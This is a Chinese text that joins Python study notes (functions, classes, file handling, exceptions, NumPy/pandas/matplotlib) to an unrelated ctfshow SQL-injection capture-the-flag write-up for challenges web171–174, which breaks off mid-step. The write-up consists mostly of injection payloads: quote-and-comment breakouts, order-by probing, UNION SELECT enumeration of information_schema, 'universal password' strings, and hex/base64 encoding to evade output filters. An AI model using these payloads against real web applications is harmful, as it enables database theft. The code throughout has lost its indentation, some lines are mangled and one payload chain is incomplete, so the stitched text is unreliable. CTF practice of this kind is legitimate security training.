	x, y = func(x, y)
	print(x) # 2 不可变对象，值不变
	print(y) # [1, 2, 3, 4] 可变对象，值改变

# 注意点

Python 中函数参数传递是 “对象引用传递”
不可变对象（数字、字符串、元组）在函数内修改不会影响外部
可变对象（列表、字典、集合）在函数内修改会影响外部

# 7.3 函数的特殊参数

# 7.3.1 默认参数

	def func(a, b=10):
	return a + b

	print(func(5)) # 15 使用默认值 b=10
	print(func(5, 20)) # 25 使用传入值 b=20

# 注意点

默认参数必须放在非默认参数之后
默认参数的值在函数定义时计算，不是在调用时计算
默认参数应该使用不可变对象，避免使用可变对象（如列表）

# 7.3.2 关键字参数

	def func(a, b):
	return a + b

	print(func(a=5, b=10)) # 15
	print(func(b=10, a=5)) # 15 关键字参数可以改变顺序
	print(func(5, b=10)) # 15 混合使用位置参数和关键字参数
	# print (func (a=5, 10)) # SyntaxError 位置参数必须在关键字参数之前

# 注意点

关键字参数必须放在位置参数之后
可以通过关键字参数改变参数顺序
关键字参数提高了代码的可读性

# 7.3.3 可变长参数

	# *args - 接收任意数量的位置参数，返回元组
	def func(*args):
	return args

	print(func(1, 2, 3)) # (1, 2, 3)

	# **kwargs - 接收任意数量的关键字参数，返回字典
	def func(**kwargs):
	return kwargs

	print(func(name='Tom', age=18)) # {'name': 'Tom', 'age': 18}

	# 组合使用
	def func(a, args, *kwargs):
	return a, args, kwargs

	print(func(1, 2, 3, name='Tom', age=18)) # (1, (2, 3), {'name': 'Tom', 'age': 18})

# 7.4 lambda 函数

	# 基本形式
	add = lambda x, y: x + y
	print(add(5, 10)) # 15

	# 作为参数使用
	lst = [1, 2, 3, 4, 5]
	print(list(map(lambda x: x * 2, lst))) # [2, 4, 6, 8, 10]
	print(list(filter(lambda x: x % 2 == 0, lst))) # [2, 4]

# 注意点

lambda 函数只能包含一个表达式
lambda 函数没有函数名，是匿名函数
适合定义简单的一次性函数

# 7.5 变量作用域

# 局部变量

	def func():
	x = 10 # 局部变量
	print(x)

	func() # 10
	# print(x) # NameError: name 'x' is not defined

# 全局变量

	x = 10 # 全局变量

	def func():
	print(x) # 访问全局变量

	func() # 10

	# 修改全局变量
	def func():
	global x # 声明 x 为全局变量
	x = 20

	func()
	print(x) # 20

# 注意点

局部变量只在函数内部有效
全局变量在整个程序中有效
在函数内修改全局变量需要使用 global 关键字
global 关键字不能同时赋值，如 global x = 20 是错误的

# 7.6 递归函数

	def factorial(n):
	"""计算n的阶乘"""
	if n == 0:
	return 1
	else:
	return n * factorial(n - 1)

	print(factorial(5)) # 120

# 注意点

递归函数必须有终止条件
递归深度不能过大，否则会引发栈溢出
递归函数的执行效率较低，可考虑使用迭代代替

# 7.7 main 函数

	def main():
	print("这是主函数")

	if __name__ == "__main__":
	main()

# 说明

__name__ 是 Python 的内置变量
当直接运行脚本时， __name__ 的值为 __main__
当作为模块导入时， __name__ 的值为模块名
使用 if __name__ == "__main__": 可以确保主函数只在直接运行脚本时执行

# 7.8 函数小结

函数是组织代码的基本单位
Python 提供丰富的内置函数
支持自定义函数，参数传递灵活
支持 lambda 函数、递归函数等高级特性

# 8. 面向对象程序设计

# 8.1 类与对象

# 类的定义

	class Person:
	"""人这个类"""
	# 类属性
	species = "人类"

	# 构造函数
	def __init__(self, name, age):
	# 实例属性
	self.name = name
	self.age = age

	# 实例方法
	def greet(self):
	return f"你好，我是{self.name}，今年{self.age}岁。"

	# 创建对象
	p = Person("Tom", 18)
	print(p.greet()) # ' 你好，我是 Tom，今年 18 岁。'

# 类成员的可访问范围

公有成员：默认，可在类内外访问
保护成员：以单下划线开头（如 _name ），建议仅供类和子类内部使用
私有成员：以双下划线开头（如 __name ），只能在类内部访问，外部无法直接访问
特殊成员：以双下划线开头和结尾（如 __init__ ），具有特殊意义

# 8.2 属性

# 8.2.1 成员属性

	class Person:
	def __init__(self, name, age):
	self.name = name # 公有属性
	self._age = age # 保护属性
	self.__salary = 5000 # 私有属性

	# 访问私有属性的方法
	def get_salary(self):
	return self.__salary

	p = Person("Tom", 18)
	print(p.name) # 'Tom'
	print(p._age) # 18 可以访问，但不推荐
	# print (p.__salary) # AttributeError 无法直接访问
	print(p.get_salary()) # 5000 通过方法访问私有属性

# 8.2.2 @property 装饰器

	class Person:
	def __init__(self, name, age):
	self.name = name
	self._age = age

	@property
	def age(self):
	return self._age

	@age.setter
	def age(self, value):
	if value > 0 and value < 120:
	self._age = value
	else:
	raise ValueError("年龄必须在0-120之间")

	@age.deleter
	def age(self):
	del self._age

	p = Person("Tom", 18)
	print(p.age) # 18 访问属性
	p.age = 20 # 修改属性
	print(p.age) # 20
	# p.age = 150 # ValueError: 年龄必须在 0-120 之间
	del p.age # 删除属性
	# print(p.age) # AttributeError: 'Person' object has no attribute '_age'

# 8.2.3 类属性

	class Person:
	count = 0 # 类属性

	def __init__(self, name):
	self.name = name
	Person.count += 1

	print(Person.count) # 0
	p1 = Person("Tom")
	print(Person.count) # 1
	p2 = Person("Jerry")
	print(Person.count) # 2

# 8.2.4 特殊属性

属性	说明
`__dict__`	对象的属性字典
`__class__`	对象所属的类
`__name__`	类名
`__qualname__`	类的限定名称
`__module__`	类所在的模块
`__bases__`	类的基类元组
`__mro__`	方法解析顺序
`__doc__`	类的文档字符串

# 8.2.5 动态添加 / 删除属性

	class Person:
	def __init__(self, name):
	self.name = name

	p = Person("Tom")
	p.age = 18 # 动态添加属性
	print(p.age) # 18

	import types
	p.greet = types.MethodType(lambda self: f"你好，我是{self.name}", p) # 动态添加方法
	print(p.greet()) # ' 你好，我是 Tom'

	# 动态删除属性
	del p.age
	# print(p.age) # AttributeError

	# 使用 setattr 和 delattr
	setattr(p, "gender", "男")
	print(p.gender) # ' 男'
	delattr(p, "gender")
	# print(p.gender) # AttributeError

# 8.3 方法

# 8.3.1 实例方法

	class Person:
	def __init__(self, name):
	self.name = name

	def greet(self): # 实例方法，第一个参数是 self
	return f"你好，我是{self.name}"

	p = Person("Tom")
	print(p.greet()) # ' 你好，我是 Tom'

# 8.3.2 类方法

	class Person:
	count = 0

	def __init__(self, name):
	self.name = name
	Person.count += 1

	@classmethod
	def get_count(cls): # 类方法，第一个参数是 cls
	return cls.count

	p1 = Person("Tom")
	p2 = Person("Jerry")
	print(Person.get_count()) # 2 直接通过类调用
	print(p1.get_count()) # 2 通过实例调用

# 8.3.3 静态方法

	class Person:
	@staticmethod
	def say_hello():
	return "Hello!"

	print(Person.say_hello()) # 'Hello!' 直接通过类调用
	p = Person()
	print(p.say_hello()) # 'Hello!' 通过实例调用

# 8.3.4 特殊方法

	class Person:
	def __init__(self, name, age):
	self.name = name
	self.age = age

	def __str__(self):
	return f"Person(name='{self.name}', age={self.age})"

	def __repr__(self):
	return f"Person('{self.name}', {self.age})"

	def __len__(self):
	return self.age

	def __call__(self):
	return f"{self.name}被调用了"

	p = Person("Tom", 18)
	print(p) # Person (name='Tom', age=18) 调用__str__
	print(repr(p)) # Person ('Tom', 18) 调用__repr__
	print(len(p)) # 18 调用__len__
	print(p()) # Tom 被调用了调用__call__

# 8.3.5 动态添加 / 删除方法

	import types

	class Person:
	def __init__(self, name):
	self.name = name

	# 动态添加实例方法
	def greet(self):
	return f"你好，我是{self.name}"

	p = Person("Tom")
	p.greet = types.MethodType(greet, p)
	print(p.greet()) # ' 你好，我是 Tom'

	# 动态添加类方法
	@classmethod
	def get_class_name(cls):
	return cls.__name__

	Person.get_class_name = get_class_name
	print(Person.get_class_name()) # 'Person'

	# 动态添加静态方法
	@staticmethod
	def say_hello():
	return "Hello!"

	Person.say_hello = say_hello
	print(Person.say_hello()) # 'Hello!'

	# 动态删除方法
	del p.greet
	del Person.get_class_name
	del Person.say_hello

# 8.4 运算符重载

	class Vector:
	def __init__(self, x, y):
	self.x = x
	self.y = y

	def __add__(self, other):
	return Vector(self.x + other.x, self.y + other.y)

	def __sub__(self, other):
	return Vector(self.x - other.x, self.y - other.y)

	def __mul__(self, scalar):
	return Vector(self.x * scalar, self.y * scalar)

	def __eq__(self, other):
	return self.x == other.x and self.y == other.y

	def __str__(self):
	return f"Vector({self.x}, {self.y})"

	v1 = Vector(1, 2)
	v2 = Vector(3, 4)
	v3 = v1 + v2 # 调用__add__
	print(v3) # Vector(4, 6)
	v4 = v1 - v2 # 调用__sub__
	print(v4) # Vector(-2, -2)
	v5 = v1 * 2 # 调用__mul__
	print(v5) # Vector(2, 4)
	print(v1 == v2) # False 调用__eq__

# 8.5 继承

# 8.5.1 单继承

	class Animal:
	def __init__(self, name):
	self.name = name

	def eat(self):
	return f"{self.name}在吃东西"

	class Dog(Animal):
	def __init__(self, name, breed):
	super().__init__(name) # 调用父类构造函数
	self.breed = breed

	def bark(self):
	return f"{self.name}在汪汪叫"

	# 创建子类实例
	dog = Dog("Tom", "金毛")
	print(dog.eat()) # Tom 在吃东西继承父类方法
	print(dog.bark()) # Tom 在汪汪叫子类自己的方法

# 8.5.2 多继承

	class A:
	def method(self):
	return "A.method"

	class B:
	def method(self):
	return "B.method"

	class C(A, B):
	pass

	class D(B, A):
	pass

	c = C()
	print(c.method()) # A.method MRO 顺序：C -> A -> B -> object

	d = D()
	print(d.method()) # B.method MRO 顺序：D -> B -> A -> object

# 注意点

Python 支持单继承和多继承
多继承时，方法解析顺序（MRO）决定了调用哪个父类的方法
推荐使用 super() 调用父类方法，不推荐直接使用父类名

# 8.6 多态性

	class Animal:
	def speak(self):
	pass

	class Dog(Animal):
	def speak(self):
	return "汪汪汪"

	class Cat(Animal):
	def speak(self):
	return "喵喵喵"

	class Bird(Animal):
	def speak(self):
	return "叽叽喳喳"

	def make_animal_speak(animal):
	return animal.speak()

	# 多态性示例
	dog = Dog()
	cat = Cat()
	bird = Bird()

	print(make_animal_speak(dog)) # 汪汪汪
	print(make_animal_speak(cat)) # 喵喵喵
	print(make_animal_speak(bird)) # 叽叽喳喳

# 8.7 面向对象程序设计小结

面向对象程序设计的核心是类和对象
类封装了数据和方法
支持继承、多态等特性
提供丰富的特殊方法和装饰器

# 9. 文件和目录操作

# 9.1 文件类型与基本操作

# 9.1.1 文件类型

文本文件：由字符组成，如.txt、.py 文件
二进制文件：由字节组成，如图片、音频、视频文件

# 9.1.2 文件基本操作

打开文件：使用 open() 函数
读写文件：使用文件对象的方法
关闭文件：使用 close() 方法或 with 语句

	# 基本文件操作流程
	f = open('file.txt', 'r') # 打开文件
	content = f.read() # 读取文件内容
	f.close() # 关闭文件

	# 使用 with 语句（推荐）
	with open('file.txt', 'r') as f:
	content = f.read() # 自动关闭文件

# 9.2 文件打开模式

# 9.2.1 基本模式

模式	含义	文件不存在时
r	只读	报错
w	只写	创建新文件
a	追加	创建新文件
+	读写	与其他模式组合使用
b	二进制模式	与其他模式组合使用
t	文本模式（默认）	与其他模式组合使用

# 9.2.2 常用组合模式

r+：读写模式，文件指针位于起始位置
w+：读写模式，先清空文件内容
a+：读写模式，文件指针位于末尾
rb：二进制只读模式
wb：二进制只写模式
ab：二进制追加模式
rb+：二进制读写模式
wb+：二进制读写模式，先清空内容
ab+：二进制追加模式，指针位于末尾

# 注意点

+ 不能单独使用，必须与其他模式组合
r 、 r+ 、 rb 、 rb+ 要求文件必须存在
w 、 w+ 、 wb 、 wb+ 、 a 、 a+ 、 ab 、 ab+ 在文件不存在时会创建新文件

# 9.3 文件读写方法

# 9.3.1 读取方法

	with open('file.txt', 'r') as f:
	content = f.read() # 读取整个文件
	line = f.readline() # 读取一行
	lines = f.readlines() # 读取所有行，返回列表

# 9.3.2 写入方法

	with open('file.txt', 'w') as f:
	f.write('Hello World') # 写入字符串
	f.writelines(['Line 1\n', 'Line 2\n']) # 写入多行

# 9.3.3 其他方法

	with open('file.txt', 'r') as f:
	pos = f.tell() # 获取当前指针位置
	f.seek(0) # 移动指针到文件开头
	f.seek(0, 2) # 移动指针到文件末尾（仅二进制模式）
	f.flush() # 刷新缓冲区

# 注意点

只有以二进制模式 ( b ) 打开的文件，才允许文件指针向后移动
seek() 方法的 whence 参数取 1 和 2 的用法只能在二进制文件中使用
write() 只能将字符串写入文件

# 9.3.4 struct 模块（二进制数据处理）

	import struct

	# 将数据打包为二进制
	packed_data = struct.pack('i f s', 1, 3.14, b'hello')
	print(packed_data)

	# 将二进制数据解包
	unpacked_data = struct.unpack('i f s', packed_data)
	print(unpacked_data)

	# 计算格式字符串的大小
	size = struct.calcsize('i f s')
	print(size)

# 9.3.5 pickle 模块（对象序列化）

	import pickle

	# 将对象序列化为二进制文件
	data = {'name': 'Tom', 'age': 18, 'scores': [90, 85, 95]}
	with open('data.pkl', 'wb') as f:
	pickle.dump(data, f)

	# 从二进制文件反序列化对象
	with open('data.pkl', 'rb') as f:
	loaded_data = pickle.load(f)
	print(loaded_data)

# 9.4 CSV 文件操作

	import csv

	# 写入 CSV 文件
	with open('data.csv', 'w', newline='') as f:
	writer = csv.writer(f)
	writer.writerow(['name', 'age', 'city']) # 写入表头
	writer.writerows([
	['Tom', 18, 'Beijing'],
	['Jerry', 20, 'Shanghai']
	]) # 写入多行

	# 读取 CSV 文件
	with open('data.csv', 'r') as f:
	reader = csv.reader(f)
	for row in reader:
	print(row) # 每行是一个列表

	# 使用 DictWriter 和 DictReader
	with open('data.csv', 'w', newline='') as f:
	fieldnames = ['name', 'age', 'city']
	writer = csv.DictWriter(f, fieldnames=fieldnames)
	writer.writeheader() # 写入表头
	writer.writerow({'name': 'Tom', 'age': 18, 'city': 'Beijing'})
	writer.writerow({'name': 'Jerry', 'age': 20, 'city': 'Shanghai'})

	with open('data.csv', 'r') as f:
	reader = csv.DictReader(f)
	for row in reader:
	print(row['name'], row['age'], row['city'])

# 注意点

参数 newline='' 不能省略，否则会出现空行
csv.reader 返回的每个元素是一个列表

# 9.5 Excel 文件操作

	import openpyxl

	# 创建工作簿
	wb = openpyxl.Workbook()
	ws = wb.active # 获取活动工作表
	ws.title = 'Sheet1' # 设置工作表名称

	# 写入数据
	ws['A1'] = 'Name'
	ws['B1'] = 'Age'
	ws['C1'] = 'City'
	ws.append(['Tom', 18, 'Beijing'])
	ws.append(['Jerry', 20, 'Shanghai'])

	# 保存工作簿
	wb.save('data.xlsx')

	# 读取工作簿
	wb = openpyxl.load_workbook('data.xlsx')
	print(wb.sheetnames) # 获取所有工作表名称
	ws = wb['Sheet1'] # 获取指定工作表

	# 读取单元格数据
	print(ws['A1'].value)
	print(ws.cell(row=1, column=1).value)

	# 遍历行和列
	for row in ws.iter_rows(min_row=1, max_row=3, min_col=1, max_col=3):
	for cell in row:
	print(cell.value, end=' ')
	print()

# 9.6 图像文件操作

	from PIL import Image

	# 打开图像
	img = Image.open('image.jpg')

	# 查看图像信息
	print(img.size) # 图像尺寸
	print(img.mode) # 颜色模式
	print(img.format) # 图像格式

	# 图像操作
	img_resized = img.resize((200, 200)) # 调整大小
	img_rotated = img.rotate(45) # 旋转
	img_cropped = img.crop((100, 100, 300, 300)) # 裁剪

	# 保存图像
	img_resized.save('image_resized.jpg')
	img_rotated.save('image_rotated.jpg')
	img_cropped.save('image_cropped.jpg')

# 9.7 JSON 文件操作

	import json

	# Python 对象转 JSON 字符串
	person = {'name': 'Tom', 'age': 18, 'city': 'Beijing'}
	json_str = json.dumps(person, ensure_ascii=False) # ensure_ascii=False 保留中文

	# 写入 JSON 文件
	with open('person.json', 'w', encoding='utf-8') as f:
	json.dump(person, f, ensure_ascii=False, indent=4) # indent=4 美化输出

	# 读取 JSON 文件
	with open('person.json', 'r', encoding='utf-8') as f:
	person_dict = json.load(f)
	print(person_dict['name'], person_dict['age'])

# 9.8 os 和 os.path 模块

	import os

	# 获取当前工作目录
	cwd = os.getcwd()
	print(cwd)

	# 改变工作目录
	os.chdir('d:\\')

	# 创建目录
	os.mkdir('test_dir')
	os.makedirs('test_dir1\\test_dir2') # 创建多级目录

	# 删除目录
	os.rmdir('test_dir')
	os.removedirs('test_dir1\\test_dir2') # 删除多级目录（需为空）

	# 列出目录内容
	files = os.listdir('.')

	# 遍历目录树
	for root, dirs, files in os.walk('.'):
	for file in files:
	print(os.path.join(root, file))

	# 文件路径操作
	file_path = os.path.join('dir', 'file.txt')
	print(os.path.exists(file_path)) # 检查文件 / 目录是否存在
	print(os.path.isfile(file_path)) # 检查是否为文件
	print(os.path.isdir(file_path)) # 检查是否为目录
	print(os.path.abspath(file_path)) # 获取绝对路径
	print(os.path.split(file_path)) # 分割路径和文件名
	print(os.path.splitext(file_path)) # 分割文件名和扩展名

	# 文件信息
	print(os.path.getsize(file_path)) # 文件大小
	print(os.path.getatime(file_path)) # 最后访问时间
	print(os.path.getmtime(file_path)) # 最后修改时间

# 9.9 shutil 模块

	import shutil

	# 复制文件
	shutil.copyfile('src.txt', 'dst.txt')
	shutil.copy('src.txt', 'dst.txt') # 保留元数据

	# 复制目录
	shutil.copytree('src_dir', 'dst_dir')

	# 移动文件 / 目录
	shutil.move('src.txt', 'dst_dir/')

	# 删除目录（递归）
	shutil.rmtree('dir_to_delete')

	# 创建压缩包
	shutil.make_archive('archive', 'zip', 'dir_to_archive')

	# 解压压缩包
	shutil.unpack_archive('archive.zip', 'dst_dir')

# 10. 异常处理

异常处理是 Python 中处理程序运行时错误的机制，通过捕获和处理异常，可以提高程序的健壮性和用户体验，防止程序因错误而意外终止。

# 10.1 异常类

Python 中的异常类层次结构如下：

BaseException ：所有异常的基类
- Exception ：所有非系统退出异常的基类
  - SyntaxError ：语法错误
  - TypeError ：类型错误
  - ValueError ：值错误
  - NameError ：名称错误
  - IndexError ：索引错误
  - KeyError ：键错误
  - IOError / OSError ：输入输出错误
  - ZeroDivisionError ：除零错误

# 10.2 异常处理结构

异常处理结构是 Python 中捕获和处理异常的核心语法，通过 try-except-else-finally 结构可以灵活控制异常的处理流程和资源的释放。

	try:
	# 可能引发异常的代码
	result = 10 / 0
	except ZeroDivisionError as e:
	# 处理特定异常
	print(f'除零错误：{e}')
	except (TypeError, ValueError) as e:
	# 处理多个异常
	print(f'类型或值错误：{e}')
	except Exception as e:
	# 处理所有其他异常
	print(f'发生错误：{e}')
	else:
	# 没有异常时执行
	print('执行成功')
	finally:
	# 无论是否发生异常都执行
	print('清理工作')

# 10.3 抛出异常

抛出异常是 Python 中主动触发异常的机制，通过 raise 语句可以在程序中自定义异常的触发条件，将错误信息传递给上层调用者。

	# 抛出内置异常
	raise ValueError('值错误')

	# 抛出异常并指定原因
	raise ZeroDivisionError('除数不能为零')

# 10.4 自定义异常

自定义异常是 Python 中扩展异常体系的机制，通过创建自定义异常类，可以为特定业务场景定义专门的异常类型，提高代码的可读性和可维护性。

	# 自定义异常类
	class MyException(Exception):
	def __init__(self, message):
	self.message = message
	super().__init__(self.message)

	# 使用自定义异常
	try:
	raise MyException('自定义异常')
	except MyException as e:
	print(f'捕获自定义异常：{e}')

# 10.5 断言

断言是 Python 中用于调试的机制，通过 assert 语句可以在程序中插入检查点，验证某个条件是否为真，如果条件为假则触发 AssertionError 异常。

	# 断言语句
	x = 5
	assert x > 0, 'x必须大于0'

	# 断言失败时会引发 AssertionError 异常
	try:
	assert x < 0, 'x必须小于0'
	except AssertionError as e:
	print(f'断言失败：{e}')

# 注意点

断言主要用于调试阶段，不应该用于生产环境的错误处理
可以通过 -O 参数运行 Python 来禁用断言

# 11. 常用库

# 11.1 库的导入方式

库的导入方式是 Python 中使用外部库或模块的基础机制，通过不同的导入方式可以灵活控制模块中函数和变量的访问范围和命名空间。

# 11.1.1 导入整个库

	import math
	import random as rd

# 11.1.2 导入特定函数

	from math import ceil, sqrt
	from math import * # 导入所有函数（不推荐）
	from random import randint as ri

# 11.1.3 第三方库安装

	pip install numpy pandas matplotlib
	pip list # 查看已安装的库

# 11.2 math 库

math 库是 Python 的标准数学库，提供了丰富的数学函数和常量，用于进行各种数学计算。该库包含了基本运算、三角函数、指数对数、组合数学等多种功能，适用于科学计算、数据分析等场景。

	import math

	print(math.ceil(3.14)) # 向上取整
	print(math.floor(3.14)) # 向下取整
	print(math.sqrt(16)) # 平方根
	print(math.factorial(5)) # 阶乘
	print(math.gcd(12, 18)) # 最大公约数
	print(math.exp(1)) # e 的 1 次方
	print(math.log(10)) # 自然对数
	print(math.pow(2, 3)) # 2 的 3 次方
	print(math.sin(math.pi/2)) # 正弦函数

# 11.3 random 库

random 库是 Python 的标准随机数生成库，提供了各种随机数生成和随机选择功能。该库可用于模拟、游戏开发、数据分析中的随机抽样等场景，能够生成不同分布的随机数。

	import random

	# 设置随机数种子
	random.seed(123)

	print(random.randint(1, 10)) # 1-10 之间的整数
	print(random.randrange(0, 10, 2)) # 0-10 之间的偶数
	print(random.uniform(1, 10)) # 1-10 之间的浮点数
	print(random.choice(['a', 'b', 'c'])) # 随机选择一个元素

	lst = [1, 2, 3, 4, 5]
	random.shuffle(lst) # 打乱列表
	print(lst)

	print(random.sample([1, 2, 3, 4, 5], 3)) # 随机采样 3 个元素

# 11.4 datetime 库

datetime 库是 Python 的标准日期时间处理库，提供了用于处理日期、时间、时间间隔和时间戳的类和函数。该库能够满足各种日期时间的计算、格式化和转换需求，是处理时间相关数据的核心工具。

	import datetime

	# 获取当前时间
	now = datetime.datetime.now()
	utc_now = datetime.datetime.utcnow()

	# 创建 datetime 对象
	dt = datetime.datetime(2023, 12, 25, 10, 30, 45)

	# 获取日期和时间
	print(dt.date()) # 日期部分
	print(dt.time()) # 时间部分

	# 格式化输出
	print(dt.strftime('%Y-%m-%d %H:%M:%S')) # 2023-12-25 10:30:45

	# 时间差
	delta = datetime.timedelta(days=7, hours=2)
	new_dt = dt + delta

# 11.5 NumPy 库

NumPy 库（Numerical Python）是 Python 科学计算的核心库，提供了高性能的多维数组对象（ndarray）和丰富的数组操作函数。该库支持矢量化运算和广播机制，能够高效处理大规模数据，是数据分析、机器学习、图像处理等领域的基础依赖库。

	import numpy as np

	# 创建数组
	arr1 = np.array([1, 2, 3, 4, 5])
	arr2 = np.arange(0, 10, 2)
	arr3 = np.linspace(0, 1, 5)
	arr4 = np.zeros((2, 3))
	arr5 = np.ones((2, 3))
	arr6 = np.eye(3) # 单位矩阵

	# 数组属性
	print(arr1.shape) # 形状
	print(arr1.ndim) # 维度
	print(arr1.size) # 元素个数
	print(arr1.dtype) # 数据类型

	# 数组运算
	print(arr1 + 2) # 加标量
	print(arr1 * 2) # 乘标量
	print(arr1 + arr2) # 数组相加
	print(arr1 * arr2) # 数组相乘（元素级）

	# 索引和切片
	print(arr1[0]) # 索引
	print(arr1[1:4]) # 切片
	print(arr1[arr1 > 2]) # 条件索引

	# 数组操作
	print(np.reshape(arr1, (5, 1))) # 形状改变
	print(np.transpose(arr4)) # 转置
	print(np.concatenate((arr4, arr5), axis=0)) # 纵向拼接

# 11.6 pandas 库

pandas 库是 Python 用于数据处理和分析的强大库，提供了高效的数据结构（如 Series 和 DataFrame）和丰富的数据操作功能。该库支持数据导入导出、数据清洗、数据转换、数据聚合和统计分析等操作，是数据分析和数据科学领域的必备工具。

	import pandas as pd

	# Series 对象
	s = pd.Series([1, 2, 3, 4, 5], index=['a', 'b', 'c', 'd', 'e'])

	# DataFrame 对象
	df = pd.DataFrame({
	'name': ['Tom', 'Jerry', 'Alice'],
	'age': [18, 20, 22],
	'city': ['Beijing', 'Shanghai', 'Guangzhou']
	})

	# 数据导入
	# df = pd.read_csv('data.csv')
	# df = pd.read_excel('data.xlsx')

	# 数据导出
	# df.to_csv('output.csv', index=False)
	# df.to_excel('output.xlsx', index=False)

	# 数据访问
	print(df['name']) # 列访问
	print(df.loc[0]) # 行访问（标签）
	print(df.iloc[0]) # 行访问（位置）
	print(df.at[0, 'name']) # 单元格访问（标签）
	print(df.iat[0, 0]) # 单元格访问（位置）

	# 数据处理
	print(df.isna()) # 检查缺失值
	print(df.fillna(0)) # 填充缺失值
	print(df.dropna()) # 删除缺失值
	print(df.drop_duplicates()) # 删除重复行
	print(df.replace(18, 19)) # 替换值

	# 数据分析
	print(df.info()) # 数据信息
	print(df.describe()) # 描述性统计
	print(df.head()) # 前 5 行
	print(df.tail()) # 后 5 行
	print(df['age'].value_counts()) # 值计数

	# 分组聚合
	grouped = df.groupby('city')
	print(grouped['age'].mean()) # 按城市分组计算平均年龄

# 11.7 matplotlib 库

matplotlib 库是 Python 的绘图库，提供了丰富的绘图功能，可以创建各种类型的图表，如折线图、柱状图、散点图、直方图等。该库支持自定义图表样式、添加注释和图例，是数据可视化和科学绘图的重要工具。

	import matplotlib.pyplot as plt

	# 设置中文显示
	plt.rcParams['font.sans-serif'] = ['SimHei']
	plt.rcParams['axes.unicode_minus'] = False

	# 准备数据
	x = [1, 2, 3, 4, 5]
	y = [2, 4, 6, 8, 10]

	# 创建图形
	plt.figure(figsize=(8, 6))

	# 绘制折线图
	plt.plot(x, y, color='red', linestyle='--', linewidth=2, marker='o', label='折线图')

	# 绘制柱状图
	# plt.bar(x, y, color='blue', width=0.5)

	# 设置坐标轴和标题
	plt.xlabel('X轴', fontsize=12)
	plt.ylabel('Y轴', fontsize=12)
	plt.title('示例图表', fontsize=14)

	# 设置坐标轴范围
	plt.xlim(0, 6)
	plt.ylim(0, 12)

	# 添加网格线
	plt.grid(True, linestyle='--', alpha=0.7)

	# 添加图例
	plt.legend()

	# 显示图表
	plt.show()

# 总结

本笔记系统地整理了 Python 的核心知识点，包括：

字符串、列表、元组、字典、集合等数据类型
数据类型转换和常用函数
函数的定义、调用和参数传递
面向对象程序设计的核心概念
文件和目录操作（包括文本 / 二进制文件、CSV、Excel、JSON、图像文件等）
异常处理机制（包括异常类、try-except 结构、自定义异常等）
常用库（包括标准库和第三方库如 NumPy、pandas、matplotlib 等）

ctfshow SQL注入

2025-09-06T09:29:07.000Z

# web171

题解一

题目查询语句如下

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

当我们输入 id=1 的时候，语句代入数据库中查询

select username,password from user where username !='flag' and id ='1' limit 1;

如果我们加个单引号

select username,password from user where username !='flag' and id ='1'' limit 1;

出现语句不规范，报错

如果在后面加个注释符，即变成 id=1'--+ ，注释符 --+ 会把后面的语句全注释掉，就不会报错，语句就变成了

select username,password from user where username !='flag' and id ='1'

使用 order by 查询列数，当到 order by 3 没有报错，即为 3 列

1' order by 3--+

将 id 改成 -1 把查询 id 回显的数据置空，查询库名 ctfshow_web

-1' union select 1,2,database()--+

group_concat() 会把多行的结果拼接成一行，中间用逗号分隔。

查询表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

查询列名

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+

查询字段记录

	1' union select 1,2,password from ctfshow_user--+

	-1' union select group_concat(id),group_concat(username),group_concat(password) from ctfshow_user--+

题解二

万能密码

	1' or 1=1--+
	1' or 1=1%23

# web172

题目查询语句及返回逻辑如下

	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

	// 检查结果是否有 flag
	if($row->username!=='flag'){
	$ret['msg']='查询成功';
	}

可知，flag 位于 ctfshow_user2 表中

题解一

查询列数为 2

1' order by 2--+

查询库名 ctfshow_web

-1' union select 1,database()--+

查询表名，有两个表

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

查询列名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2" --+

查询字段记录

-1' union select 1,password from ctfshow_user2--+

题解二

由题目查询语句及返回逻辑可以构造如下

-1' union select username,password from ctfshow_user2--+

但当 username 里有 “flag” 时无法输出，所以可以将字段记录转成 Hex、ASCII、base64 等编码输出

	-1' union select to_base64(username),password from ctfshow_user2--+
	-1' union select hex(username),password from ctfshow_user2--+
	-1' union select ASCII(username),password from ctfshow_user2--+

题解三

只查出 username 为 flag 的那一行

-1' union select 1,password from ctfshow_user2 where username='flag'--+

# web173

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";


	返回逻辑
	// 检查结果是否有 flag
	if(!preg_match('/flag/i', json_encode($ret))){
	$ret['msg']='查询成功';
	}

题解一

查询列数为 2

1' order by 3--+

查询库名 ctfshow_web

-1' union select 1,2,database()--+

查询表名，有三个表

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

查询列名

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user3" --+

查询字段记录

-1' union select 1,2,password from ctfshow_user3--+

题解二

由题目查询语句及返回逻辑可以构造如下

-1' union select 1,username,password from ctfshow_user3--+

但当 username 里有 “flag” 时无法输出，所以可以将字段记录转成 Hex、ASCII、base64 等编码输出

	-1' union select 1,to_base64(username),password from ctfshow_user3--+
	-1' union select 1,hex(username),password from ctfshow_user3--+
	-1' union select 1,ASCII(username),password from ctfshow_user3--+

题解三

只查出 username 为 flag 的那一行

-1' union select 1,2,password from ctfshow_user3 where username='flag'--+

# web174

	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";


	返回逻辑
	// 检查结果是否有 flag
	if(!preg_match('/flag\|[0-9]/i', json_encode($ret))){
	$ret['msg']='查询成功';
	}

题解一

由于数字被过滤，可以将回显的结果用大写字母替换，替换规则如下

	replace(group_concat(table_name),
	'1','A'),
	'2','B'),
	'3','C'),
	'4','D'),
	'5','E'),
	'6','F'),
	'7','G'),
	'8','H'),
	'9','I'),
	'0','J')

查询列数为 2

1' order by 2--+

查询库名 ctfshow_web

-1' union select 'a',database()--+

查询表名，只有一个表

